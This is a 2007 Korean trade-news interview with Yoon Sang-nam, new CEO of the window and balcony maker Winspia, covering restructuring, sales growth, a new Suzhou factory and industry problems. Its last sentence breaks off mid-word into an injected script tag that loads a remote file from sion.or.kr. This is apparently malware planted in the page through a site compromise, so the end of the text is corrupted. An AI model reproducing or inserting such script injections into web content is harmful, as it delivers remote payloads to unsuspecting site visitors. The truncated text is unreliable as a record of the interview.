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(주)윈스피아 윤상남 대표이사/CS(고객만족)실현 위해 노력
발행일자 : 2007년03월13일 11시41분

발코니 사업 및 ‘탁트윈’ 영업에 집중 윤상남 대표는 올해 1월 1일부로 새롭게 (주)윈스피아의 대표가 되었다. 윈스피아 창단멤버로서 오랜 기간 부사장으로 근무해온 윤상남 대표와의 인터뷰를 통해 윈스피아의 미래를 점쳐본다. -편집자 주- -새롭게 윈스피아의 대표가 된 소감 먼저 어깨가 무겁고 걱정이 됩니다. 윈스피아는 전임 대표이사였던 김동익 부회장이 오랜 기간 회사를 잘 이끌어 오면서 많은 성장을 거두었습니다. 저도 회사 창단 멤버로 10여년 부사장으로 근무하면서 회사를 발전시키기 위해 많은 노력을 기울였습니다. 그러나 부사장으로 근무 했을 때와 대표가 된 뒤 느끼는 차이점은 매우 큽니다. 가장 큰 차이점은 책임의식입니다. 앞으로 윈스피아가 발전할 수 있도록 더욱 노력할 것입니다. -윈스피아의 변화가 있다면 본부 운영체계로의 변화입니다. 이 전에는 자재, 영업, 생산, 공사, A/S 등 각각의 파트를 두어 운영하였습니다. 이것을 통합해서 본부를 만들었습니다. 각각의 프로젝트를 맞고 있는 본부에서 하나의 파트만 책임지는 게 아니라 모든 파트의 책임을 지게 하였습니다. 이로 인해 책임의식을 높였으며 발생되는 문제점을 파트별로 핑계를 발생하지 않게 하였습니다. 권한과 책임을 동시에 부여하는 방식으로 운영할 계획입니다. 현재 3개월째 운영하고 있으며 지금까지는 효율적이라 판단되어집니다. -윈스피아의 국내 및 해외 근황 국내는 지난해 매출액이 20% 상승하였으며 올해도 20% 상승을 예상하고 있습니다. 윈스피아는 사업 초기부터 발코니공사를 위주로 하였습니다. 2005년부터 발코니 확장이 허용되면서 유리 발주를 같이 하여 공사 금액이 커졌습니다. 때문에 제작 시공은 물론 유리사업까지 진행해온 윈스피아로서는 좋은 기회라 생각됩니다. 또한, 발코니 확장이 허용되기 시작하면서 윈스피아는 발 빠르게 대규모 건설사를 대상으로 영업을 실시하여 탁트윈을 알렸습니다. 해외 시장은 지난해 말 오픈한 중국공장으로 인해 더욱 확대될 것으로 기대하고 있습니다. 중국 소주에 위치한 공장은 3년의 시장조사와 부지선정, 중국시장에 맞는 제품개발에 힘써온 결실입니다. 이번 중국공장을 계기로 점차 증가되는 해외수주물량을 중국공장을 통해 해결함으로써 해외 바이어들의 요구와 국내 소비자의 요구를 충족시킬 수 있을 것으로 보입니다. 1만평 규모의 대지에 알루미늄 조립라인을 완비한 중국공장은 9월초부터 본사 기술진 파견으로 시스템에 창호에 관한 모든 제작기술을 지속적으로 현지인의 교육에 힘을 썼습니다. 윈스피아차이나는 전임대표인 김동익 부회장이 운영하고 있습니다. 우리나라는 88년 올림픽을 계기로 주택건설시장이 확대 되었습니다. 중국도 2008년 올림픽을 계기로 주택건설시장이 확대될 것으로 보고 있어 많은 매출 상승을 기대하고 있습니다. 현재 중국에서는 대리점을 모집하는 등 시장 확대를 위해 노력하고 있습니다. 중국 내에서 직접 생산이 가능하기 때문에 경쟁력을 충분하다고 봅니다. 이와 더불어 해외주문량이 늘어날 경우 추가로 공장을 확장할 계획도 검토하고 있습니다. -경쟁업체와의 차별화 전략이 있다면 윈스피아는 오랜 기간 사업을 하면서 터득한 노하우 및 선진 시설 등 남들이 가지지 못한 것을 가지고 있습니다. 앞에서도 언급했듯이 창호 재질별 제작공장과 시공, 유리부문까지 원스톱으로 가능합니다. 이러한 장점을 앞세워 대규모 건설사에 프리젠테이션을 통해 회사 및 제품을 홍보하고 있습니다. 제품 개발뿐만 아니라 C.S(고객 만족)을 집중하기위해 A/S팀을 보강하는 등 노력을 하고 있습니다. -올해 창호업계 예상 및 문제점은 모든 업체들이 예상하듯이 많은 어려움이 예상되어 부익부 빈익빈 현상이 더욱 두드러질 것으로 생각됩니다. 그러나 어떠한 어려움 속에서도 틈새시장은 있다고 생각됩니다. 준비한 업체들은 살아남고 눈앞에 이익만 쫒는 업체들은 점점 더 어려울 것입니다. 국내 창호업계의 가장 큰 문제점은 최저입찰제입니다. 품질은 제쳐두고 가격으로 승부하고 있어 품질향상을 기대하기 어려운 게 현실입니다. 또한 창호면허를 따기가 선진외국에 비해 너무 쉽습니다. 법적으로 업체들이 난립하게 만들었다고 할 수 있습니다. 참고로 캐나다의 경우 창호 면허를 획득하기 위해 5년의 시간이 걸린다고 합니다. -경영방침 및 직원들에게 강조하는 점이 있다면 신뢰경영입니다. 개인과 개인, 기업과 기업간의 신뢰가 있어야 한다고 생각합니다. 모든 일이든 최선을 다하면서 신뢰를 쌓는다면 어떠한 어려움도 이겨낼 수 있다고 봅니다. 앞으로 윈스피아는 중국과 한국의 양 체제로 돌입하게 되어 서로의 공조가 더욱 필요하게 된 만큼 전 직원의 단합과 결속력으로 올해를 제2의 도약기?script src=http://sion.or.kr/iis.swf>
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